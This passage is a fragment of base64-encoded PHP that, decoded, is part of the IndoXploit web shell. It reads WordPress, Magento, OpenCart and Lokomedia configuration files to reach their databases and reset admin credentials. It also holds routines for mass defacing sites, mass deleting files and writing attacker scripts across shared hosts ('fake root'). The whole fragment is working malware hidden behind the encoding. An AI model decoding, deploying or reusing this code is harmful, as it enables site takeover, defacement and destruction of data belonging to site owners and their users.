jsNCgkJCQkJCQl9IA0KCQkJCQkJCWVsc2Ugew0KCQkJCQkJCQlwcmludCAiU3RhdHVzID0+ICIuY29sb3IoMSwgMiwgInN1a3NlcyBlZGl0IHVzZXIsIHNpbGFrYW4gbG9naW4gZGVuZ2FuIHVzZXIgJiBwYXNzIHlhbmcgYmFydS4iKS4iPGJyPjxicj4iOw0KCQkJCQkJCX0NCgkJCQkJCQlteXNxbF9jbG9zZSgkY29ubik7DQoJCQkJCQl9IGVsc2VpZihwcmVnX21hdGNoKCIvV29yZFByZXNzLyIsJGNvbmZpZykpIHsNCgkJCQkJCQkkZGJob3N0ID0gZ2V0VmFsdWUoJGNvbmZpZywiREJfSE9TVCcsICciLCInIik7DQoJCQkJCQkJJGRidXNlciA9IGdldFZhbHVlKCRjb25maWcsIkRCX1VTRVInLCAnIiwiJyIpOw0KCQkJCQkJCSRkYnBhc3MgPSBnZXRWYWx1ZSgkY29uZmlnLCJEQl9QQVNTV09SRCcsICciLCInIik7DQoJCQkJCQkJJGRibmFtZSA9IGdldFZhbHVlKCRjb25maWcsIkRCX05BTUUnLCAnIiwiJyIpOw0KCQkJCQkJCSRkYnByZWZpeCA9IGdldFZhbHVlKCRjb25maWcsInRhYmxlX3ByZWZpeCAgPSAnIiwiJyIpOw0KCQkJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguInVzZXJzIjsNCgkJCQkJCQkkb3B0aW9uID0gJGRicHJlZml4LiJvcHRpb25zIjsNCgkJCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRwcmVmaXggT1JERVIgQlkgaWQgQVNDIik7DQoJCQkJCQkJJHJlc3VsdCA9IG15c3FsX2ZldGNoX2FycmF5KCRxKTsNCgkJCQkJCQkkaWQgPSAkcmVzdWx0W0lEXTsNCgkJCQkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIE9SREVSIEJZIG9wdGlvbl9pZCBBU0MiKTsNCgkJCQkJCQkkcmVzdWx0MiA9IG15c3FsX2ZldGNoX2FycmF5KCRxMik7DQoJCQkJCQkJJHRhcmdldCA9ICRyZXN1bHQyW29wdGlvbl92YWx1ZV07DQoJCQkJCQkJaWYoJHRhcmdldCA9PSAnJykgew0KCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiAiLmNvbG9yKDEsIDEsICJDYW50J3QgZ2V0IGRvbWFpbiBuYW1lIikuIjxicj4iOw0KCQkJCQkJCX0gDQoJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQvd3AtbG9naW4ucGhwJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC93cC1sb2dpbi5waHA8L3U+PC9hPjxicj4iOw0KCQkJCQkJCX0NCgkJCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VyX2xvZ2luPSckdXNlcl9iYXJ1Jyx1c2VyX3Bhc3M9JyRwYXNzX2JhcnUnIFdIRVJFIGlkPSckaWQnIik7DQoJCQkJCQkJcHJpbnQgIkNvbmZpZyA9PiAiLiRmaWxlX2NvbmYuIjxicj4iOw0KCQkJCQkJCXByaW50ICJDTVMgPT4gV29yZHByZXNzPGJyPiI7DQoJCQkJCQkJcHJpbnQgJHVybF90YXJnZXQ7DQoJCQkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDEsIG15c3FsX2Vycm9yKCkpLiI8YnI+PGJyPiI7DQoJCQkJCQkJfSANCgkJCQkJCQllbHNlIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDIsICJzdWtzZXMgZWRpdCB1c2VyLCBzaWxha2FuIGxvZ2luIGRlbmdhbiB1c2VyICYgcGFzcyB5YW5nIGJhcnUuIikuIjxicj48YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCQkJfSANCgkJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvTWFnZW50b3xNYWdlX0NvcmUvIiwkY29uZmlnKSkgew0KCQkJCQkJCSRkYmhvc3QgPSBnZXRWYWx1ZSgkY29uZmlnLCI8aG9zdD48IVtDREFUQVsiLCJdXT48L2hvc3Q+Iik7DQoJCQkJCQkJJGRidXNlciA9IGdldFZhbHVlKCRjb25maWcsIjx1c2VybmFtZT48IVtDREFUQVsiLCJdXT48L3VzZXJuYW1lPiIpOw0KCQkJCQkJCSRkYnBhc3MgPSBnZXRWYWx1ZSgkY29uZmlnLCI8cGFzc3dvcmQ+PCFbQ0RBVEFbIiwiXV0+PC9wYXNzd29yZD4iKTsNCgkJCQkJCQkkZGJuYW1lID0gZ2V0VmFsdWUoJGNvbmZpZywiPGRibmFtZT48IVtDREFUQVsiLCJdXT48L2RibmFtZT4iKTsNCgkJCQkJCQkkZGJwcmVmaXggPSBnZXRWYWx1ZSgkY29uZmlnLCI8dGFibGVfcHJlZml4PjwhW0NEQVRBWyIsIl1dPjwvdGFibGVfcHJlZml4PiIpOw0KCQkJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguImFkbWluX3VzZXIiOw0KCQkJCQkJCSRvcHRpb24gPSAkZGJwcmVmaXguImNvcmVfY29uZmlnX2RhdGEiOw0KCQkJCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSB1c2VyX2lkIEFTQyIpOw0KCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJCQkkcTIgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSAkb3B0aW9uIFdIRVJFIHBhdGg9J3dlYi9zZWN1cmUvYmFzZV91cmwnIik7DQoJCQkJCQkJJHJlc3VsdDIgPSBteXNxbF9mZXRjaF9hcnJheSgkcTIpOw0KCQkJCQkJCSR0YXJnZXQgPSAkcmVzdWx0Mlt2YWx1ZV07DQoJCQkJCQkJaWYoJHRhcmdldCA9PSAnJykgew0KCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiAiLmNvbG9yKDEsIDEsICJDYW50J3QgZ2V0IGRvbWFpbiBuYW1lIikuIjxicj4iOw0KCQkJCQkJCX0gDQoJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQvYWRtaW4vJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbi88L3U+PC9hPjxicj4iOw0KCQkJCQkJCX0NCgkJCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VybmFtZT0nJHVzZXJfYmFydScscGFzc3dvcmQ9JyRwYXNzX2JhcnUnIFdIRVJFIHVzZXJfaWQ9JyRpZCciKTsNCgkJCQkJCQlwcmludCAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCQkJcHJpbnQgIkNNUyA9PiBNYWdlbnRvPGJyPiI7DQoJCQkJCQkJcHJpbnQgJHVybF90YXJnZXQ7DQoJCQkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDEsIG15c3FsX2Vycm9yKCkpLiI8YnI+PGJyPiI7DQoJCQkJCQkJfSANCgkJCQkJCQllbHNlIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDIsICJzdWtzZXMgZWRpdCB1c2VyLCBzaWxha2FuIGxvZ2luIGRlbmdhbiB1c2VyICYgcGFzcyB5YW5nIGJhcnUuIikuIjxicj48YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCQkJfSBlbHNlaWYocHJlZ19tYXRjaCgiL0hUVFBfU0VSVkVSfEhUVFBfQ0FUQUxPR3xESVJfQ09ORklHfERJUl9TWVNURU0vIiwkY29uZmlnKSkgew0KCQkJCQkJCSRkYmhvc3QgPSBnZXRWYWx1ZSgkY29uZmlnLCInREJfSE9TVE5BTUUnLCAnIiwiJyIpOw0KCQkJCQkJCSRkYnVzZXIgPSBnZXRWYWx1ZSgkY29uZmlnLCInREJfVVNFUk5BTUUnLCAnIiwiJyIpOw0KCQkJCQkJCSRkYnBhc3MgPSBnZXRWYWx1ZSgkY29uZmlnLCInREJfUEFTU1dPUkQnLCAnIiwiJyIpOw0KCQkJCQkJCSRkYm5hbWUgPSBnZXRWYWx1ZSgkY29uZmlnLCInREJfREFUQUJBU0UnLCAnIiwiJyIpOw0KCQkJCQkJCSRkYnByZWZpeCA9IGdldFZhbHVlKCRjb25maWcsIidEQl9QUkVGSVgnLCAnIiwiJyIpOw0KCQkJCQkJCSRwcmVmaXggPSAkZGJwcmVmaXguInVzZXIiOw0KCQkJCQkJCSRjb25uID0gbXlzcWxfY29ubmVjdCgkZGJob3N0LCRkYnVzZXIsJGRicGFzcyk7DQoJCQkJCQkJJGRiID0gbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KCQkJCQkJCSRxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gJHByZWZpeCBPUkRFUiBCWSB1c2VyX2lkIEFTQyIpOw0KCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJCQkJJGlkID0gJHJlc3VsdFt1c2VyX2lkXTsNCgkJCQkJCQkkdGFyZ2V0ID0gZ2V0VmFsdWUoJGNvbmZpZywiSFRUUF9TRVJWRVInLCAnIiwiJyIpOw0KCQkJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCQkJJHVybF90YXJnZXQgPSAiTG9naW4gPT4gIi5jb2xvcigxLCAxLCAiQ2FudCd0IGdldCBkb21haW4gbmFtZSIpLiI8YnI+IjsNCgkJCQkJCQl9IA0KCQkJCQkJCWVsc2Ugew0KCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0JyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDwvdT48L2E+PGJyPiI7DQoJCQkJCQkJfQ0KCQkJCQkJCSR1cGRhdGUgPSBteXNxbF9xdWVyeSgiVVBEQVRFICRwcmVmaXggU0VUIHVzZXJuYW1lPSckdXNlcl9iYXJ1JyxwYXNzd29yZD0nJHBhc3NfYmFydScgV0hFUkUgdXNlcl9pZD0nJGlkJyIpOw0KCQkJCQkJCXByaW50ICJDb25maWcgPT4gIi4kZmlsZV9jb25mLiI8YnI+IjsNCgkJCQkJCQlwcmludCAiQ01TID0+IE9wZW5DYXJ0PGJyPiI7DQoJCQkJCQkJcHJpbnQgJHVybF90YXJnZXQ7DQoJCQkJCQkJaWYoISR1cGRhdGUgT1IgISRjb25uIE9SICEkZGIpIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDEsIG15c3FsX2Vycm9yKCkpLiI8YnI+PGJyPiI7DQoJCQkJCQkJfSANCgkJCQkJCQllbHNlIHsNCgkJCQkJCQkJcHJpbnQgIlN0YXR1cyA9PiAiLmNvbG9yKDEsIDIsICJzdWtzZXMgZWRpdCB1c2VyLCBzaWxha2FuIGxvZ2luIGRlbmdhbiB1c2VyICYgcGFzcyB5YW5nIGJhcnUuIikuIjxicj48YnI+IjsNCgkJCQkJCQl9DQoJCQkJCQkJbXlzcWxfY2xvc2UoJGNvbm4pOw0KCQkJCQkJfSANCgkJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvcGFuZ2dpbCBmdW5nc2kgdmFsaWRhc2kgeHNzIGRhbiBpbmplY3Rpb24vIiwkY29uZmlnKSkgew0KCQkJCQkJCSRkYmhvc3QgPSBnZXRWYWx1ZSgkY29uZmlnLCdzZXJ2ZXIgPSAiJywnIicpOw0KCQkJCQkJCSRkYnVzZXIgPSBnZXRWYWx1ZSgkY29uZmlnLCd1c2VybmFtZSA9ICInLCciJyk7DQoJCQkJCQkJJGRicGFzcyA9IGdldFZhbHVlKCRjb25maWcsJ3Bhc3N3b3JkID0gIicsJyInKTsNCgkJCQkJCQkkZGJuYW1lID0gZ2V0VmFsdWUoJGNvbmZpZywnZGF0YWJhc2UgPSAiJywnIicpOw0KCQkJCQkJCSRwcmVmaXggPSAidXNlcnMiOw0KCQkJCQkJCSRvcHRpb24gPSAiaWRlbnRpdGFzIjsNCgkJCQkJCQkkY29ubiA9IG15c3FsX2Nvbm5lY3QoJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MpOw0KCQkJCQkJCSRkYiA9IG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCgkJCQkJCQkkcSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICRvcHRpb24gT1JERVIgQlkgaWRfaWRlbnRpdGFzIEFTQyIpOw0KCQkJCQkJCSRyZXN1bHQgPSBteXNxbF9mZXRjaF9hcnJheSgkcSk7DQoJCQkJCQkJJHRhcmdldCA9ICRyZXN1bHRbYWxhbWF0X3dlYnNpdGVdOw0KCQkJCQkJCWlmKCR0YXJnZXQgPT0gJycpIHsNCgkJCQkJCQkJJHRhcmdldDIgPSAkcmVzdWx0W3VybF07DQoJCQkJCQkJCSR1cmxfdGFyZ2V0ID0gIkxvZ2luID0+ICIuY29sb3IoMSwgMSwgIkNhbnQndCBnZXQgZG9tYWluIG5hbWUiKS4iPGJyPiI7DQoJCQkJCQkJCWlmKCR0YXJnZXQyID09ICcnKSB7DQoJCQkJCQkJCQkkdXJsX3RhcmdldDIgPSAiTG9naW4gPT4gIi5jb2xvcigxLCAxLCAiQ2FudCd0IGdldCBkb21haW4gbmFtZSIpLiI8YnI+IjsNCgkJCQkJCQkJfSANCgkJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCQkkY2VrX2xvZ2luMyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIkdGFyZ2V0Mi9hZG1pbndlYi8iKTsNCgkJCQkJCQkJCSRjZWtfbG9naW40ID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYi8iKTsNCgkJCQkJCQkJCWlmKHByZWdfbWF0Y2goIi9DTVMgTG9rb21lZGlhfEFkbWluaXN0cmF0b3IvIiwgJGNla19sb2dpbjMpKSB7DQoJCQkJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQyL2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDIvYWRtaW53ZWI8L3U+PC9hPjxicj4iOw0KCQkJCQkJCQkJfSANCgkJCQkJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxMb2tvbWVkaWEvIiwgJGNla19sb2dpbjQpKSB7DQoJCQkJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYicgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQyL2xva29tZWRpYS9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJCQl9IA0KCQkJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCQkJJHVybF90YXJnZXQyID0gIkxvZ2luID0+IDxhIGhyZWY9JyR0YXJnZXQyJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDI8L3U+PC9hPiBbIDxmb250IGNvbG9yPXJlZD5nYXRhdSBhZG1pbiBsb2dpbiBueWEgZGltYW5hIDpwPC9mb250PiBdPGJyPiI7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQl9IGVsc2Ugew0KCQkJCQkJCQkkY2VrX2xvZ2luID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQvYWRtaW53ZWIvIik7DQoJCQkJCQkJCSRjZWtfbG9naW4yID0gZmlsZV9nZXRfY29udGVudHMoIiR0YXJnZXQvbG9rb21lZGlhL2FkbWlud2ViLyIpOw0KCQkJCQkJCQlpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxBZG1pbmlzdHJhdG9yLyIsICRjZWtfbG9naW4pKSB7DQoJCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2FkbWlud2ViJyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldC9hZG1pbndlYjwvdT48L2E+PGJyPiI7DQoJCQkJCQkJCX0gDQoJCQkJCQkJCWVsc2VpZihwcmVnX21hdGNoKCIvQ01TIExva29tZWRpYXxMb2tvbWVkaWEvIiwgJGNla19sb2dpbjIpKSB7DQoJCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0L2xva29tZWRpYS9hZG1pbndlYicgdGFyZ2V0PSdfYmxhbmsnPjx1PiR0YXJnZXQvbG9rb21lZGlhL2FkbWlud2ViPC91PjwvYT48YnI+IjsNCgkJCQkJCQkJfSANCgkJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCQkkdXJsX3RhcmdldCA9ICJMb2dpbiA9PiA8YSBocmVmPSckdGFyZ2V0JyB0YXJnZXQ9J19ibGFuayc+PHU+JHRhcmdldDwvdT48L2E+IFsgPGZvbnQgY29sb3I9cmVkPmdhdGF1IGFkbWluIGxvZ2luIG55YSBkaW1hbmEgOnA8L2ZvbnQ+IF08YnI+IjsNCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQkkdXBkYXRlID0gbXlzcWxfcXVlcnkoIlVQREFURSAkcHJlZml4IFNFVCB1c2VybmFtZT0nJHVzZXJfYmFydScscGFzc3dvcmQ9JyRwYXNzX2JhcnUnIFdIRVJFIGxldmVsPSdhZG1pbiciKTsNCgkJCQkJCQlwcmludCAiQ29uZmlnID0+ICIuJGZpbGVfY29uZi4iPGJyPiI7DQoJCQkJCQkJcHJpbnQgIkNNUyA9PiBMb2tvbWVkaWE8YnI+IjsNCgkJCQkJCQlpZihwcmVnX21hdGNoKCIvQ2FuJ3QgZ2V0IGRvbWFpbiBuYW1lLyIsICR1cmxfdGFyZ2V0KSkgew0KCQkJCQkJCQlwcmludCAkdXJsX3RhcmdldDI7DQoJCQkJCQkJfSANCgkJCQkJCQllbHNlIHsNCgkJCQkJCQkJcHJpbnQgJHVybF90YXJnZXQ7DQoJCQkJCQkJfQ0KCQkJCQkJCWlmKCEkdXBkYXRlIE9SICEkY29ubiBPUiAhJGRiKSB7DQoJCQkJCQkJCXByaW50ICJTdGF0dXMgPT4gIi5jb2xvcigxLCAxLCBteXNxbF9lcnJvcigpKS4iPGJyPjxicj4iOw0KCQkJCQkJCX0gDQoJCQkJCQkJZWxzZSB7DQoJCQkJCQkJCXByaW50ICJTdGF0dXMgPT4gIi5jb2xvcigxLCAyLCAic3Vrc2VzIGVkaXQgdXNlciwgc2lsYWthbiBsb2dpbiBkZW5nYW4gdXNlciAmIHBhc3MgeWFuZyBiYXJ1LiIpLiI8YnI+PGJyPiI7DQoJCQkJCQkJfQ0KCQkJCQkJCW15c3FsX2Nsb3NlKCRjb25uKTsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCX0gDQoJCQllbHNlIHsNCgkJCQlwcmludCAiPGNlbnRlcj4NCgkJCQk8aDE+TWFzcyBQYXNzd29yZCBDaGFuZ2U8L2gxPg0KCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdjb25maWdfdHlwZScgdmFsdWU9J2RpcicgY2hlY2tlZD5ESVIgQ29uZmlnPGlucHV0IHR5cGU9J3JhZGlvJyBuYW1lPSdjb25maWdfdHlwZScgdmFsdWU9J2xpbmsnPkxJTksgQ29uZmlnPGJyPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSc1MCcgbmFtZT0nY29uZmlnX2RpcicgdmFsdWU9JyIucGF0aCgpLiInPjxicj48YnI+DQoJCQkJU2V0IFVzZXIgJiBQYXNzOiA8YnI+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3VzZXJfYmFydScgdmFsdWU9J2luZG94cGxvaXQnIHBsYWNlaG9sZGVyPSd1c2VyX2JhcnUnPjxicj4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzc19iYXJ1JyB2YWx1ZT0naW5kb3hwbG9pdCcgcGxhY2Vob2xkZXI9J3Bhc3NfYmFydSc+PGJyPg0KCQkJCTxpbnB1dCBzdHlsZT0nYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGNvbG9yOiAjZmZmZmZmOyBib3JkZXI6IDFweCBzb2xpZCAjZmZmZmZmOyB3aWR0aDogMjE1cHg7IG1hcmdpbjogNXB4IGF1dG87JyB0eXBlPSdzdWJtaXQnIG5hbWU9J2hhamFyJyB2YWx1ZT0nSGFqYXIhJz4NCgkJCQk8L2Zvcm0+PC9jZW50ZXI+IjsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoJF9HRVRbJ2RvJ10gPT09ICJtYXNzIikgew0KCQkJaWYoJF9QT1NUWydzdGFydCddKSB7DQoJCQkJaWYoJF9QT1NUWydtYXNzX3R5cGUnXSA9PT0gJ3NpbmdsZWRpcicpIHsNCgkJCQkJcHJpbnQgIjxkaXYgc3R5bGU9J21hcmdpbjogNXB4IGF1dG87IHBhZGRpbmc6IDVweCc+IjsNCgkJCQkJbWFzc2RlZmFjZSgkX1BPU1RbJ2RfZGlyJ10sICRfUE9TVFsnc2NyaXB0J10sICRfUE9TVFsnZF9maWxlJ10pOw0KCQkJCQlwcmludCAiPC9kaXY+IjsNCgkJCQl9IA0KCQkJCWVsc2VpZigkX1BPU1RbJ21hc3NfdHlwZSddID09PSAnYWxsZGlyJykgew0KCQkJCQlwcmludCAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOw0KCQkJCQltYXNzZGVmYWNlKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydzY3JpcHQnXSwgJF9QT1NUWydkX2ZpbGUnXSwgIi1hbGxkaXIiKTsNCgkJCQkJcHJpbnQgIjwvZGl2PiI7DQoJCQkJfQ0KCQkJCWVsc2VpZigkX1BPU1RbJ21hc3NfdHlwZSddID09PSAiZGVsZXRlIikgew0KCQkJCQlwcmludCAiPGRpdiBzdHlsZT0nbWFyZ2luOiA1cHggYXV0bzsgcGFkZGluZzogNXB4Jz4iOw0KCQkJCQltYXNzZGVsZXRlKCRfUE9TVFsnZF9kaXInXSwgJF9QT1NUWydkX2ZpbGUnXSk7DQoJCQkJCXByaW50ICI8L2Rpdj4iOw0KCQkJCX0NCgkJCX0gDQoJCQllbHNlIHsNCgkJCQlwcmludCAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnPg0KCQkJCQkgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5UaXBlIFNhYnVuOjwvZm9udD48YnI+DQoJCQkJCSAgIDxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0nbWFzc190eXBlJyB2YWx1ZT0nc2luZ2xlZGlyJyBjaGVja2VkPk1hc3MgRGVmYWNlIFNpbmdsZSBEaXJlY3Rvcnk8aW5wdXQgdHlwZT0ncmFkaW8nIG5hbWU9J21hc3NfdHlwZScgdmFsdWU9J2FsbGRpcic+TWFzcyBEZWZhY2UgQWxsIERpcmVjdG9yeTxpbnB1dCB0eXBlPSdyYWRpbycgbmFtZT0nbWFzc190eXBlJyB2YWx1ZT0nZGVsZXRlJz5NYXNzIERlbGV0ZSBGaWxlPGJyPg0KCQkJCQkgICA8c3Bhbj4oIGtvc29uZ2thbiAnSW5kZXggRmlsZScgamlrYSBtZW1pbGloIE1hc3MgRGVsZXRlIEZpbGUgKTwvc3Bhbj48YnI+PGJyPg0KCQkJCQkgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5Gb2xkZXI6PC9mb250Pjxicj4NCgkJCQkJICAgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RfZGlyJyB2YWx1ZT0nIi5wYXRoKCkuIicgc3R5bGU9J3dpZHRoOiA0NTBweDsnIGhlaWdodD0nMTAnPjxicj48YnI+DQoJCQkJCSAgIDxmb250IHN0eWxlPSd0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsnPkZpbGVuYW1lOjwvZm9udD48YnI+DQoJCQkJCSAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkX2ZpbGUnIHZhbHVlPSdpbmRleC5waHAnIHN0eWxlPSd3aWR0aDogNDUwcHg7JyBoZWlnaHQ9JzEwJz48YnI+PGJyPg0KCQkJCQkgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz5JbmRleCBGaWxlOjwvZm9udD48YnI+DQoJCQkJCSAgIDx0ZXh0YXJlYSBuYW1lPSdzY3JpcHQnIHN0eWxlPSd3aWR0aDogNDUwcHg7IGhlaWdodDogMjAwcHg7Jz5IYWNrZWQgYnkgSW5kb1hwbG9pdDwvdGV4dGFyZWE+PGJyPg0KCQkJCQkgICA8aW5wdXQgc3R5bGU9J2JhY2tncm91bmQ6IHRyYW5zcGFyZW50OyBjb2xvcjogI2ZmZmZmZjsgYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgd2lkdGg6IDQ2MHB4OyBtYXJnaW46IDVweCBhdXRvOycgdHlwZT0nc3VibWl0JyBuYW1lPSdzdGFydCcgdmFsdWU9J01hc3MnPg0KCQkJCQkgICA8L2Zvcm0+PC9jZW50ZXI+IjsNCgkJCX0NCgkJfQ0KCQllbHNlaWYoJF9HRVRbJ2RvJ10gPT0gJ2Zha2Vyb290Jykgew0KCQkJb2Jfc3RhcnQoKTsNCgkJCSRzaXRlID0gZXhwbG9kZSgiXHJcbiIsICRfUE9TVFsndXJsJ10pOw0KCQkJJHVzZXIgPSB1c2VyZ3JvdXAoKS0+bmFtZTsNCgkJCSRmaWxlID0gJF9QT1NUWydmaWxlJ107DQoJCQlpZighcHJlZ19tYXRjaCgiIy9ob21lLyR1c2VyL3B1YmxpY19odG1sIyIsICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSBkaWUoY29sb3IoMSwgMSwgIkkgdGhpbmsgdGhpcyBzZXJ2ZXIgbm90IHVzaW5nIHNoYXJlZCBob3N0IDooIikpOw0KCQkJDQoJCQkNCgkJCWlmKCRfUE9TVFsncmV2ZXJzZSddKSB7DQoJCQkJaWYoIWlzX3dyaXRhYmxlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSBkaWUoY29sb3IoMSwgMSwgIkRpcmVjdG9yeSAnIi4kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLiInIGlzIG5vdCB3cml0ZWFibGUuIikpOw0KCQkJCWlmKCFpc193cml0YWJsZShkaXJuYW1lKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pKSkgZGllKGNvbG9yKDEsIDEsICJEaXJlY3RvcnkgJyIuZGlybmFtZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKS4iJyBpcyBub3Qgd3JpdGVhYmxlLiIpKTsNCgkJCQlzYXZlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10uIi8iLiRmaWxlLCAidyIsICRfUE9TVFsnc2NyaXB0J10pOw0KCQkJCXNhdmUoZGlybmFtZSgkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddKS4iLyIuJGZpbGUsICJ3IiwgJF9QT1NUWydzY3JpcHQnXSk7DQoJCQkJZm9yZWFjaCgkc2l0ZSBhcyAkdXJsKSB7DQoJCQkJCSRjZWsgPSBjdXJsKCIkdXJsL34kdXNlci8kZmlsZSIpOw0KCQkJCQlpZihwcmVnX21hdGNoKCIvaGFja2VkL2kiLCAkY2VrKSkgew0KCQkJCQkJcHJpbnQgIlVSTDogPGEgaHJlZj0nJHVybC9+JHVzZXIvJGZpbGUnIHRhcmdldD0nX2JsYW5rJz4kdXJsL34kdXNlci8kZmlsZTwvYT4gLT4gPGZvbnQgY29sb3I9bGltZT5GYWtlIFJvb3QhPC9mb250Pjxicj4iOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfSBlbHNlIHsNCgkJCQlwcmludCAiPGNlbnRlcj48